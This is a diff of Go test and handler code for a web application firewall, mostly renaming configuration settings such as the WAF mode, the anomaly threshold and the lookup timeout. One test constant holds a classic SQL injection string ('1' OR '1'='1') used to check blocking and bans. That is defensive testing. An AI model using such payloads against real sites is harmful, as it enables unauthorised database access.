coreRuleSetDisabledRules = "SWW_WAF_CORE_RULE_SET_DISABLED_RULES"
|
||||
coreRuleSetExemptPaths = "SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS"
|
||||
coreRuleSetBodyInspectionSize = "SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE"
|
||||
apps = "SWW_WAF_APPS"
|
||||
block = "block"
|
||||
detect = "detect"
|
||||
wafAnomalyThreshold = "SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD"
|
||||
wafDisabledRules = "SWW_WAF_CORE_RULE_SET_DISABLED_RULES"
|
||||
wafExemptPaths = "SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS"
|
||||
wafBodyLimit = "SWW_WAF_CORE_RULE_SET_BODY_LIMIT"
|
||||
apps = "SWW_WAF_APPS"
|
||||
block = "block"
|
||||
detect = "detect"
|
||||
)
|
||||
|
||||
// formData is the type of a form's body.
|
||||
const formData = "application/x-www-form-urlencoded"
|
||||
|
||||
// sizeLimit is SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE in the tests that
|
||||
// read bodies, 1K as a setting.
|
||||
// sizeLimit is SWW_WAF_CORE_RULE_SET_BODY_LIMIT in the tests that read bodies, 1K as a
|
||||
// setting.
|
||||
const (
|
||||
sizeLimit = 1 << 10
|
||||
sizeLimitSetting = "1K"
|
||||
@@ -39,7 +39,7 @@ const (
|
||||
|
||||
// sqlInjection asks for / with an SQL injection in its query, which only
|
||||
// the Core Rule Set's rule 942100 matches, with a score of 5, the default
|
||||
// SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD.
|
||||
// SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD.
|
||||
const sqlInjection = "/?id=1'%20OR%20'1'='1"
|
||||
|
||||
// wantCoreRuleSet checks the request log line's core_rule_set_rule_ids and
|
||||
@@ -95,7 +95,7 @@ func TestCoreRuleSetMatchAddsTheExploitSignatureTag(t *testing.T) {
|
||||
s, _, _ := startWithClock(
|
||||
t,
|
||||
"",
|
||||
map[string]string{coreRuleSetMode: tc.mode},
|
||||
map[string]string{wafMode: tc.mode},
|
||||
)
|
||||
|
||||
wantTags(
|
||||
@@ -115,7 +115,7 @@ func TestDetectedAttackIsRefusedByTagDenyLast(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, _, _ := startWithClock(t, "", map[string]string{
|
||||
coreRuleSetMode: detect, tagDeny: "exploitsignature",
|
||||
wafMode: detect, tagDeny: "exploitsignature",
|
||||
})
|
||||
|
||||
line := s.request(client, sqlInjection, http.StatusForbidden,
|
||||
@@ -167,7 +167,7 @@ func TestCoreRuleSetRefusesAttacksInBlockModeAndOnlyLogsThemInDetectMode(
|
||||
s, _, _ := startWithClock(
|
||||
t,
|
||||
"",
|
||||
map[string]string{coreRuleSetMode: tc.mode},
|
||||
map[string]string{wafMode: tc.mode},
|
||||
)
|
||||
|
||||
line := s.requestWithHeader(
|
||||
@@ -186,11 +186,7 @@ func TestCoreRuleSetRefusesAttacksInBlockModeAndOnlyLogsThemInDetectMode(
|
||||
func TestCoreRuleSetRefusalNamesItsHeuristicScoreAndThreshold(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, _, _ := startWithClock(
|
||||
t,
|
||||
"",
|
||||
map[string]string{coreRuleSetMode: block},
|
||||
)
|
||||
s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
|
||||
|
||||
line := s.request(client, sqlInjection, http.StatusForbidden,
|
||||
requestlog.ActionBlockedByCoreRuleSet)
|
||||
@@ -200,11 +196,7 @@ func TestCoreRuleSetRefusalNamesItsHeuristicScoreAndThreshold(t *testing.T) {
|
||||
func TestOrdinaryRequestIsInspectedAndPassed(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, _, _ := startWithClock(
|
||||
t,
|
||||
"",
|
||||
map[string]string{coreRuleSetMode: block},
|
||||
)
|
||||
s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
|
||||
|
||||
line := s.request(
|
||||
client,
|
||||
@@ -223,10 +215,10 @@ func TestCoreRuleSetIsNotRunWhenOffOrForAnExemptClientPathOrRuleFileRefusal(
|
||||
const allowed = "192.0.2.60" // in SWW_WAF_ALLOW_NETS
|
||||
|
||||
s, _, _ := startWithClock(t, "", map[string]string{
|
||||
coreRuleSetMode: block,
|
||||
coreRuleSetExemptPaths: "/api/",
|
||||
allowNets: allowed,
|
||||
ruleFilesDir: writeRules(t, testRules),
|
||||
wafMode: block,
|
||||
wafExemptPaths: "/api/",
|
||||
allowNets: allowed,
|
||||
rulesDir: writeRules(t, testRules),
|
||||
})
|
||||
|
||||
// A client in SWW_WAF_ALLOW_NETS, and a path SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS
|
||||
@@ -266,7 +258,7 @@ func TestCoreRuleSetIsNotRunWhenOffOrForAnExemptClientPathOrRuleFileRefusal(
|
||||
wantCoreRuleSet(t, line, nil)
|
||||
|
||||
// With SWW_WAF_CORE_RULE_SET_MODE off, no request is.
|
||||
s, _, _ = startWithClock(t, "", map[string]string{coreRuleSetMode: off})
|
||||
s, _, _ = startWithClock(t, "", map[string]string{wafMode: off})
|
||||
line = s.request(
|
||||
client,
|
||||
sqlInjection,
|
||||
@@ -276,14 +268,14 @@ func TestCoreRuleSetIsNotRunWhenOffOrForAnExemptClientPathOrRuleFileRefusal(
|
||||
wantCoreRuleSet(t, line, nil)
|
||||
}
|
||||
|
||||
func TestCoreRuleSetScoreThreshold(t *testing.T) {
|
||||
func TestAnomalyThreshold(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
// A score under the threshold, or with the threshold off, is logged,
|
||||
// and refuses nothing.
|
||||
for _, threshold := range []string{"6", off} {
|
||||
s, _, _ := startWithClock(t, "", map[string]string{
|
||||
coreRuleSetMode: block, coreRuleSetScoreThreshold: threshold,
|
||||
wafMode: block, wafAnomalyThreshold: threshold,
|
||||
})
|
||||
|
||||
line := s.request(
|
||||
@@ -296,7 +288,7 @@ func TestCoreRuleSetScoreThreshold(t *testing.T) {
|
||||
}
|
||||
|
||||
s, _, _ := startWithClock(t, "", map[string]string{
|
||||
coreRuleSetMode: block, coreRuleSetScoreThreshold: "5",
|
||||
wafMode: block, wafAnomalyThreshold: "5",
|
||||
})
|
||||
s.request(client, sqlInjection, http.StatusForbidden,
|
||||
requestlog.ActionBlockedByCoreRuleSet)
|
||||
@@ -342,7 +334,7 @@ func TestDisabledRulesSwitchOffWhatGiteaWouldBeRefused(t *testing.T) {
|
||||
s, _, _ := startWithClock(
|
||||
t,
|
||||
"",
|
||||
map[string]string{coreRuleSetMode: block},
|
||||
map[string]string{wafMode: block},
|
||||
)
|
||||
line, _ := s.requestWithBody(
|
||||
request.method,
|
||||
@@ -357,7 +349,7 @@ func TestDisabledRulesSwitchOffWhatGiteaWouldBeRefused(t *testing.T) {
|
||||
|
||||
// A list given replaces the default.
|
||||
s, _, _ = startWithClock(t, "", map[string]string{
|
||||
coreRuleSetMode: block, coreRuleSetDisabledRules: "942100",
|
||||
wafMode: block, wafDisabledRules: "942100",
|
||||
})
|
||||
score := 5 * len(request.ruleIDs)
|
||||
line, _ = s.requestWithBody(
|
||||
@@ -391,7 +383,7 @@ func TestGiteasFixesApplyOnlyToAHostnameThatServesGitea(t *testing.T) {
|
||||
const fileName = "/?path=.gitignore"
|
||||
|
||||
s := startWAF(t, "", map[string]string{
|
||||
coreRuleSetMode: block, apps: siteA + ":gitea",
|
||||
wafMode: block, apps: siteA + ":gitea",
|
||||
})
|
||||
|
||||
wantDisposition(t, do(t, s.question(siteA, client, fileName)),
|
||||
@@ -417,17 +409,13 @@ func TestAttackInAFormBodyIsRefusedOnlyWhileBodiesAreRead(t *testing.T) {
|
||||
header := "Content-Type: " + formData + "\r\nContent-Length: " +
|
||||
strconv.Itoa(len(body))
|
||||
|
||||
s, _, _ := startWithClock(
|
||||
t,
|
||||
"",
|
||||
map[string]string{coreRuleSetMode: block},
|
||||
)
|
||||
s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
|
||||
line, _ := s.requestWithBody(http.MethodPost, client, "/", header, body,
|
||||
http.StatusOK, requestlog.ActionForward)
|
||||
wantCoreRuleSet(t, line, new(0))
|
||||
|
||||
s, _, _ = startWithClock(t, "", map[string]string{
|
||||
coreRuleSetMode: block, coreRuleSetBodyInspectionSize: sizeLimitSetting,
|
||||
wafMode: block, wafBodyLimit: sizeLimitSetting,
|
||||
})
|
||||
line, _ = s.requestWithBody(http.MethodPost, client, "/", header, body,
|
||||
http.StatusForbidden, requestlog.ActionBlockedByCoreRuleSet)
|
||||
@@ -444,7 +432,7 @@ func TestBodiesReachTheAppAsSentWhileBodiesAreRead(t *testing.T) {
|
||||
_, _ = w.Write(body)
|
||||
})
|
||||
addr, out := startProxy(t, app.URL, map[string]string{
|
||||
coreRuleSetMode: block, coreRuleSetBodyInspectionSize: sizeLimitSetting,
|
||||
wafMode: block, wafBodyLimit: sizeLimitSetting,
|
||||
})
|
||||
longer := "a=" + strings.Repeat("b", 64*sizeLimit)
|
||||
|
||||
@@ -508,11 +496,7 @@ func TestResponsesAreNotInspected(t *testing.T) {
|
||||
app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
|
||||
_, _ = w.Write([]byte(page))
|
||||
})
|
||||
addr, out := startProxy(
|
||||
t,
|
||||
app.URL,
|
||||
map[string]string{coreRuleSetMode: block},
|
||||
)
|
||||
addr, out := startProxy(t, app.URL, map[string]string{wafMode: block})
|
||||
|
||||
got := get(t, addr, "/owner/repo/raw/branch/main/build.sh")
|
||||
if got.status != http.StatusOK || string(got.body) != page {
|
||||
@@ -526,13 +510,13 @@ func TestResponsesAreNotInspected(t *testing.T) {
|
||||
wantLine(t, out.endedLine(t), http.StatusOK, requestlog.ActionForward)
|
||||
}
|
||||
|
||||
func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheRefusalLimit(
|
||||
func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheErrorBurst(
|
||||
t *testing.T,
|
||||
) {
|
||||
t.Parallel()
|
||||
|
||||
s, _, server := startWithClock(t, "", map[string]string{
|
||||
coreRuleSetMode: block, refusalsLimitPerMinute: "2", metricsToken: token,
|
||||
wafMode: block, errorBurstThreshold: "2", metricsToken: token,
|
||||
})
|
||||
|
||||
for range 2 {
|
||||
@@ -540,7 +524,7 @@ func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheRefusalLimit(
|
||||
requestlog.ActionBlockedByCoreRuleSet)
|
||||
}
|
||||
|
||||
// The third refusal in a minute breaks the refusal limit, and bans the
|
||||
// The third refusal in a minute breaks the error burst, and bans the
|
||||
// client.
|
||||
line := s.request(client, sqlInjection, http.StatusForbidden,
|
||||
requestlog.ActionBlockedByCoreRuleSet)
|
||||
@@ -582,13 +566,13 @@ func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheRefusalLimit(
|
||||
)
|
||||
}
|
||||
|
||||
func TestDetectModeMatchIsNoOffenceAndNotCountedTowardTheRefusalLimit(
|
||||
func TestDetectModeMatchIsNoOffenceAndNotCountedTowardTheErrorBurst(
|
||||
t *testing.T,
|
||||
) {
|
||||
t.Parallel()
|
||||
|
||||
s, _, server := startWithClock(t, "", map[string]string{
|
||||
coreRuleSetMode: detect, refusalsLimitPerMinute: "2", metricsToken: token,
|
||||
wafMode: detect, errorBurstThreshold: "2", metricsToken: token,
|
||||
})
|
||||
|
||||
for range 3 {
|
||||
@@ -624,7 +608,7 @@ func TestObserveModeLogsWhatTheCoreRuleSetWouldDo(t *testing.T) {
|
||||
s, _, server := startWithClock(
|
||||
t,
|
||||
"",
|
||||
map[string]string{coreRuleSetMode: block, mode: observe},
|
||||
map[string]string{wafMode: block, mode: observe},
|
||||
)
|
||||
|
||||
line := s.request(
|
||||
@@ -656,15 +640,15 @@ func TestCoreRuleSetMatchRaisesTheCoreRuleSetMatchAlert(t *testing.T) {
|
||||
action, alertMode string
|
||||
}{
|
||||
{
|
||||
"block", map[string]string{coreRuleSetMode: block},
|
||||
"block", map[string]string{wafMode: block},
|
||||
http.StatusForbidden, requestlog.ActionBlockedByCoreRuleSet, "",
|
||||
},
|
||||
{
|
||||
"detect", map[string]string{coreRuleSetMode: detect},
|
||||
"detect", map[string]string{wafMode: detect},
|
||||
http.StatusOK, requestlog.ActionForward, detect,
|
||||
},
|
||||
{
|
||||
"block in observe mode", map[string]string{coreRuleSetMode: block, mode: observe},
|
||||
"block in observe mode", map[string]string{wafMode: block, mode: observe},
|
||||
http.StatusOK, requestlog.ActionForward, observe,
|
||||
},
|
||||
} {
|
||||
@@ -699,7 +683,7 @@ func TestCoreRuleSetMatchRaisesTheCoreRuleSetMatchAlert(t *testing.T) {
|
||||
Client: netip.MustParseAddr(client),
|
||||
Netblock: netip.MustParsePrefix(client + "/32"),
|
||||
Reason: "scored by the Core Rule Set at or over " +
|
||||
"SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD",
|
||||
"SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD",
|
||||
Detail: detail,
|
||||
})
|
||||
|
||||
|
||||
@@ -53,8 +53,8 @@ func TestCountryLists(t *testing.T) {
|
||||
})
|
||||
geojsURL, _ := startGeoJS(t)
|
||||
env := map[string]string{
|
||||
trustedProxies: trustLocalhost,
|
||||
asnAndCountryLookupTimeout: "3600000",
|
||||
trustedProxies: trustLocalhost,
|
||||
lookupTimeout: "1h",
|
||||
}
|
||||
maps.Copy(env, tc.env)
|
||||
addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, env)
|
||||
@@ -109,7 +109,7 @@ func TestCountryRefusalNamesItsHeuristicCountryAndSetting(t *testing.T) {
|
||||
|
||||
geojsURL, _ := startGeoJS(t)
|
||||
s, _, _ := startWithClock(t, geojsURL, map[string]string{
|
||||
asnAndCountryLookupTimeout: "3600000", allowedCountries: "de",
|
||||
lookupTimeout: "1h", allowedCountries: "de",
|
||||
})
|
||||
|
||||
line := s.get(
|
||||
@@ -147,9 +147,9 @@ func TestCountryRefusalKeepsARequestFromTheApp(t *testing.T) {
|
||||
})
|
||||
geojsURL, _ := startGeoJS(t)
|
||||
addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, map[string]string{
|
||||
trustedProxies: trustLocalhost,
|
||||
asnAndCountryLookupTimeout: "3600000",
|
||||
allowedCountries: "de",
|
||||
trustedProxies: trustLocalhost,
|
||||
lookupTimeout: "1h",
|
||||
allowedCountries: "de",
|
||||
})
|
||||
|
||||
req := newRequest(
|
||||
@@ -198,10 +198,10 @@ func TestRequestRefusedByCountryIsNotCounted(t *testing.T) {
|
||||
|
||||
app := startApp(t, func(http.ResponseWriter, *http.Request) {})
|
||||
addr, _ := startProxyWithGeoJS(t, app.URL, geojs.URL, map[string]string{
|
||||
trustedProxies: trustLocalhost,
|
||||
asnAndCountryLookupTimeout: "3600000",
|
||||
allowedCountries: "de",
|
||||
rateLimitPerMinute: "1",
|
||||
trustedProxies: trustLocalhost,
|
||||
lookupTimeout: "1h",
|
||||
allowedCountries: "de",
|
||||
rateLimitPerMinute: "1",
|
||||
})
|
||||
|
||||
request := func() answer {
|
||||
@@ -248,8 +248,8 @@ func TestPrivateAddressIsNeverLookedUp(t *testing.T) {
|
||||
app := startApp(t, func(http.ResponseWriter, *http.Request) {})
|
||||
geojsURL, asked := startGeoJS(t)
|
||||
env := map[string]string{
|
||||
trustedProxies: trustLocalhost,
|
||||
asnAndCountryLookupTimeout: "3600000",
|
||||
trustedProxies: trustLocalhost,
|
||||
lookupTimeout: "1h",
|
||||
}
|
||||
maps.Copy(env, tc.env)
|
||||
addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, env)
|
||||
@@ -352,11 +352,10 @@ func TestExclusiveListRefusesAPrivateAddressUnlessAllowed(t *testing.T) {
|
||||
// startGeoJS starts a stand-in for GeoJS, which places fromDE and fromKP,
|
||||
// each in an AS of its own, and no other address. It returns its URL, and
|
||||
// what returns the addresses it has been asked about. A test that needs
|
||||
// the stand-in to be asked or to answer sets
|
||||
// SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS to an hour, whether or not a
|
||||
// request waits for the answer: on the default, a hold-up of the test
|
||||
// process can abandon the request to the stand-in, and leave the client
|
||||
// unknown.
|
||||
// the stand-in to be asked or to answer sets SWW_WAF_LOOKUP_TIMEOUT to an
|
||||
// hour, whether or not a request waits for the answer: on the default, a
|
||||
// hold-up of the test process can abandon the request to the stand-in, and
|
||||
// leave the client unknown.
|
||||
func startGeoJS(t *testing.T) (string, func() []string) {
|
||||
t.Helper()
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
package waf
|
||||
|
||||
// The heuristic dnsbl. It reads SWW_WAF_DNSBL_ABUSEIPDB_ACTION, and the DNSBL zones'
|
||||
// The heuristic dnsbl. It reads SWW_WAF_REPUTATION_ACTION, and the DNSBL zones'
|
||||
// verdicts through the DNSBL checker.
|
||||
|
||||
import (
|
||||
@@ -14,7 +14,7 @@ import (
|
||||
|
||||
// dnsbl notes the DNSBL zones whose verdict lists the client, as noteListed
|
||||
// does, adds the tag dnsbl=<zone> for each, the zone's key masked, and refuses
|
||||
// the request when SWW_WAF_DNSBL_ABUSEIPDB_ACTION is deny. Being
|
||||
// the request when SWW_WAF_REPUTATION_ACTION is deny. Being
|
||||
// limit, it lowers the client's limits instead (see limitPercentages), and
|
||||
// being log, it does nothing more. A zone without a verdict on the client is
|
||||
// asked about it in the background, and the request does not wait for the
|
||||
@@ -32,7 +32,7 @@ func (dnsbl) check(ctx context.Context, rq *request, _ time.Time) *verdict {
|
||||
rq.addTag(config.DNSBLTagPrefix + strings.ToLower(zone))
|
||||
}
|
||||
|
||||
if !rq.dnsblListed || rq.h.config.DNSBLAbuseIPDBAction != deny {
|
||||
if !rq.dnsblListed || rq.h.config.ReputationAction != deny {
|
||||
return nil
|
||||
}
|
||||
|
||||
|
||||
@@ -7,7 +7,7 @@ import (
|
||||
|
||||
// To add a heuristic, write one file with a type that implements heuristic,
|
||||
// and add one line for it to one of the lists below. Its settings go in
|
||||
// config.WAF, and the comment at the top of its file names them.
|
||||
// config.Config, and the comment at the top of its file names them.
|
||||
|
||||
// heuristic is one of the checks that decide what waf does with a
|
||||
// request.
|
||||
|
||||
@@ -18,9 +18,9 @@ func TestHistoryKeepsEachRequestOfTheClient(t *testing.T) {
|
||||
|
||||
geojsURL, _ := startGeoJS(t)
|
||||
s, clk, server := startWithClock(t, geojsURL, map[string]string{
|
||||
asnAndCountryLookupTimeout: "3600000",
|
||||
rateLimitPerMinute: "2",
|
||||
tagDeny: denyKP,
|
||||
lookupTimeout: "1h",
|
||||
rateLimitPerMinute: "2",
|
||||
tagDeny: denyKP,
|
||||
})
|
||||
start := clk.Now()
|
||||
|
||||
|
||||
+10
-14
@@ -5,7 +5,6 @@ import (
|
||||
"net/netip"
|
||||
"path/filepath"
|
||||
"slices"
|
||||
"strconv"
|
||||
"sync"
|
||||
"testing"
|
||||
"testing/synctest"
|
||||
@@ -35,8 +34,8 @@ func TestEveryClientIsLookedUpWithoutWaitingWhileNoSettingNeedsIt(
|
||||
// waitLimit.
|
||||
geojsURL, asked, release := startHeldGeoJS(t)
|
||||
s, _, server := startWithClock(t, geojsURL, map[string]string{
|
||||
asnAndCountryLookupTimeout: "3600000",
|
||||
rateLimitPerMinute: "1",
|
||||
lookupTimeout: "1h",
|
||||
rateLimitPerMinute: "1",
|
||||
})
|
||||
|
||||
// fromDE's second request breaks the limit and bans it, and fromKP
|
||||
@@ -105,9 +104,9 @@ func TestRequestThatWaitedForItsLookupIsCountedWhenItGoesOn(t *testing.T) {
|
||||
clk := &clock{now: time.Date(2026, 10, 6, 0, 0, 58, 0, time.UTC)}
|
||||
addr, out, server := startProxyWithClock(t, app.URL, geojsURL, clk.Now,
|
||||
map[string]string{
|
||||
trustedProxies: trustLocalhost,
|
||||
asnAndCountryLookupTimeout: "3600000",
|
||||
tagDeny: denyKP,
|
||||
trustedProxies: trustLocalhost,
|
||||
lookupTimeout: "1h",
|
||||
tagDeny: denyKP,
|
||||
})
|
||||
|
||||
requestFromDE := func() *http.Request {
|
||||
@@ -365,9 +364,9 @@ func TestLookupHeadersArePassedToTheAppAndTheClientsOwnRemoved(
|
||||
geojsURL,
|
||||
time.Now,
|
||||
map[string]string{
|
||||
trustedProxies: trustLocalhost,
|
||||
asnAndCountryLookupTimeout: "3600000",
|
||||
addLookupHeaders: on,
|
||||
trustedProxies: trustLocalhost,
|
||||
lookupTimeout: "1h",
|
||||
addLookupHeaders: on,
|
||||
},
|
||||
)
|
||||
s := &sender{t: t, addr: addr, out: out}
|
||||
@@ -438,9 +437,7 @@ func TestClientsOwnLookupHeadersAreRemovedWhileTheSettingIsOff(
|
||||
}
|
||||
}
|
||||
|
||||
func TestRequestWaitsAsLongAsTheASNAndCountryLookupTimeoutSays(
|
||||
t *testing.T,
|
||||
) {
|
||||
func TestRequestWaitsAsLongAsTheLookupTimeoutSays(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
// The test runs in a synctest bubble, where the time package runs on a
|
||||
@@ -455,8 +452,7 @@ func TestRequestWaitsAsLongAsTheASNAndCountryLookupTimeoutSays(
|
||||
|
||||
server, out, _ := newWAF(t, silentGeoJSURL, time.Now,
|
||||
map[string]string{
|
||||
asnAndCountryLookupTimeout: strconv.FormatInt(
|
||||
timeout.Milliseconds(), 10),
|
||||
lookupTimeout: timeout.String(),
|
||||
allowedCountries: "DE",
|
||||
})
|
||||
|
||||
|
||||
@@ -18,8 +18,7 @@ import (
|
||||
|
||||
const (
|
||||
metricsToken = "SWW_WAF_METRICS_TOKEN" //nolint:gosec // the setting's name
|
||||
|
||||
metricsBusiestCountriesAndASNs = "SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS"
|
||||
metricsTopN = "SWW_WAF_METRICS_TOP_N"
|
||||
// token is the SWW_WAF_METRICS_TOKEN the tests set, and bearer how a
|
||||
// request carries it.
|
||||
token = "0123456789abcdef0123456789abcdef"
|
||||
@@ -134,12 +133,12 @@ func TestMetricsCountLimitsAndBans(t *testing.T) {
|
||||
const denied = "192.0.2.50" // in SWW_WAF_DENY_NETS
|
||||
|
||||
s, clk, _ := startWithClock(t, "", map[string]string{
|
||||
metricsToken: token,
|
||||
rateLimitPerMinute: "1",
|
||||
denyNets: denied,
|
||||
banResponse: banResponseClose,
|
||||
limitBanDuration: "1h",
|
||||
limitBanPermanentAbove: "2h",
|
||||
metricsToken: token,
|
||||
rateLimitPerMinute: "1",
|
||||
denyNets: denied,
|
||||
banResponse: banResponseClose,
|
||||
limitBanDuration: "1h",
|
||||
maxBanDuration: "2h",
|
||||
})
|
||||
|
||||
// SWW_WAF_BAN_RESPONSE=close sends no status at all.
|
||||
@@ -177,7 +176,7 @@ func TestMetricsCountLimitsAndBans(t *testing.T) {
|
||||
wantMetric(t, s.scrape(), `sww_active_bans{instance="app"}`, 0)
|
||||
|
||||
// A limit broken again right after would ban for three hours, longer
|
||||
// than SWW_WAF_LIMIT_BAN_PERMANENT_ABOVE, so the ban is permanent.
|
||||
// than SWW_WAF_MAX_BAN_DURATION, so the ban is permanent.
|
||||
s.get(client, http.StatusOK, requestlog.ActionForward)
|
||||
s.get(client, 0, requestlog.ActionClientIsRateLimited)
|
||||
|
||||
@@ -237,10 +236,10 @@ func TestMetricsByCountryKeepTheBusiestAndCountTheRestAsOther(t *testing.T) {
|
||||
_, _ = io.WriteString(w, "hello")
|
||||
})
|
||||
env := map[string]string{
|
||||
trustedProxies: trustLocalhost,
|
||||
metricsToken: token,
|
||||
metricsBusiestCountriesAndASNs: "2",
|
||||
allowedCountries: "de,fr",
|
||||
trustedProxies: trustLocalhost,
|
||||
metricsToken: token,
|
||||
metricsTopN: "2",
|
||||
allowedCountries: "de,fr",
|
||||
}
|
||||
geojsURL, _ := startGeoJS(t)
|
||||
addr, out, server := startProxyWithClock(t, app.URL, geojsURL,
|
||||
@@ -323,8 +322,8 @@ func TestMetricsByASNumberKeepTheBusiestAndCountTheRestAsOther(
|
||||
|
||||
geojsURL, _ := startGeoJS(t)
|
||||
s, clk, server := startWithClock(t, geojsURL, map[string]string{
|
||||
metricsToken: token,
|
||||
metricsBusiestCountriesAndASNs: "1",
|
||||
metricsToken: token,
|
||||
metricsTopN: "1",
|
||||
})
|
||||
|
||||
// The answers are kept before the requests, so that GeoJS gives none
|
||||
@@ -380,9 +379,8 @@ func TestMetricsCountGeoJSRequestsAndFailures(t *testing.T) {
|
||||
req.Header.Set(forwardedFor, fromDE)
|
||||
wantStatus(t, do(t, req), http.StatusOK)
|
||||
|
||||
// The client stops waiting for GeoJS once
|
||||
// SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS is up, so GeoJS's failure can
|
||||
// come after its request has ended.
|
||||
// The client stops waiting for GeoJS once SWW_WAF_LOOKUP_TIMEOUT is up, so
|
||||
// GeoJS's failure can come after its request has ended.
|
||||
deadline := time.Now().Add(waitLimit)
|
||||
metrics := scrape(t, server.Addr)
|
||||
|
||||
|
||||
@@ -149,10 +149,10 @@ func TestObserveModeForwardsWhatEnforceModeRefuses(t *testing.T) {
|
||||
|
||||
geojsURL, _ := startGeoJS(t)
|
||||
env := map[string]string{
|
||||
asnAndCountryLookupTimeout: "3600000",
|
||||
rateLimitPerMinute: "1",
|
||||
denyNets: denied,
|
||||
tagDeny: denyKP,
|
||||
lookupTimeout: "1h",
|
||||
rateLimitPerMinute: "1",
|
||||
denyNets: denied,
|
||||
tagDeny: denyKP,
|
||||
}
|
||||
|
||||
if tc.setting != "" {
|
||||
|
||||
+22
-30
@@ -47,7 +47,7 @@ const ClientsPath = "/_sww/clients/"
|
||||
|
||||
// Params are what New needs.
|
||||
type Params struct {
|
||||
Config *config.WAF
|
||||
Config *config.Config
|
||||
// RequestLog receives two JSON lines per question, one at its decision and
|
||||
// one when its report comes, and one per request to waf's own
|
||||
// endpoints.
|
||||
@@ -77,7 +77,7 @@ type Params struct {
|
||||
// permanent, for each count over an anomaly threshold, for each request
|
||||
// whose client a blocklist, the CrowdSec decision list, a DNSBL zone or
|
||||
// AbuseIPDB lists, for each request the Core Rule Set scores at or over
|
||||
// SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD, and for GeoJS failing, a fetch of a list
|
||||
// SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD, and for GeoJS failing, a fetch of a list
|
||||
// failing, a query to a DNSBL zone or a check with AbuseIPDB failing,
|
||||
// or the day's AbuseIPDB checks used up.
|
||||
Alerts *alerts.Queue
|
||||
@@ -106,10 +106,7 @@ type Server struct {
|
||||
// newHandler returns the handler with what every request shares, as the
|
||||
// settings in params make it.
|
||||
func newHandler(params Params) *handler {
|
||||
m := metrics.New(
|
||||
params.Config.MetricsBusiestCountriesAndASNs,
|
||||
params.Config.InstanceName,
|
||||
)
|
||||
m := metrics.New(params.Config.MetricsTopN, params.Config.InstanceName)
|
||||
lists, dnsbl, abuseIPDB := newReputation(params, m)
|
||||
|
||||
awaitingReport, err := lru.New[string, *decision](maxAwaitingReport)
|
||||
@@ -133,21 +130,21 @@ func newHandler(params Params) *handler {
|
||||
BytesPerDay: params.Config.BytesLimitPerDay,
|
||||
}, params.Config.MaxTrackedClients),
|
||||
ledger: bans.New(bans.Params{
|
||||
LimitBanDuration: params.Config.LimitBanDuration,
|
||||
LimitBanRepeatWindow: params.Config.LimitBanRepeatWindow,
|
||||
LimitBanPermanentAbove: params.Config.LimitBanPermanentAbove,
|
||||
AttackBanDuration: params.Config.AttackBanDuration,
|
||||
MaxBans: params.Config.MaxBans,
|
||||
LimitBanDuration: params.Config.LimitBanDuration,
|
||||
LimitBanRepeatWindow: params.Config.LimitBanRepeatWindow,
|
||||
MaxBanDuration: params.Config.MaxBanDuration,
|
||||
AttackBanDuration: params.Config.AttackBanDuration,
|
||||
MaxBans: params.Config.MaxBans,
|
||||
}),
|
||||
anomalies: anomaly.New(anomaly.Params{
|
||||
Client: params.Config.AnomalyClient,
|
||||
Net: params.Config.AnomalyNet,
|
||||
ASN: params.Config.AnomalyASN,
|
||||
Total: params.Config.AnomalyTotal,
|
||||
WatchedNet: params.Config.AnomalyWatchedNet,
|
||||
Watch: params.Config.AnomalyWatch,
|
||||
NetV4Prefix: params.Config.AnomalyNetV4Prefix,
|
||||
NetV6Prefix: params.Config.AnomalyNetV6Prefix,
|
||||
NamedNetblocks: params.Config.AnomalyWatchedNets,
|
||||
NamedNetblocks: params.Config.WatchNets,
|
||||
Alerts: params.Alerts,
|
||||
}),
|
||||
lookupFile: params.LookupFile,
|
||||
@@ -166,7 +163,7 @@ func newHandler(params Params) *handler {
|
||||
|
||||
h.geojs = lookup.New(lookup.Params{
|
||||
URL: params.GeoJSURL,
|
||||
Timeout: params.Config.ASNAndCountryLookupTimeout,
|
||||
Timeout: params.Config.LookupTimeout,
|
||||
// The country list, the headers, the tag settings that name an asn=
|
||||
// or country= tag and the biased thresholds act on the answer before
|
||||
// the request goes on.
|
||||
@@ -201,15 +198,14 @@ func newReputation(
|
||||
Now: params.Now, ProcessLog: params.ProcessLog, Alerts: params.Alerts,
|
||||
})
|
||||
dnsbl := reputation.NewDNSBL(reputation.DNSBLParams{
|
||||
Zones: cfg.DNSBLZones, Resolver: cfg.DNSBLResolver,
|
||||
CacheTTL: cfg.IPReputationCacheTTL,
|
||||
Timeout: cfg.DNSBLAbuseIPDBTimeout, Now: params.Now, ProcessLog: params.ProcessLog,
|
||||
Zones: cfg.DNSBLZones, Resolver: cfg.DNSBLResolver, CacheTTL: cfg.ReputationCacheTTL,
|
||||
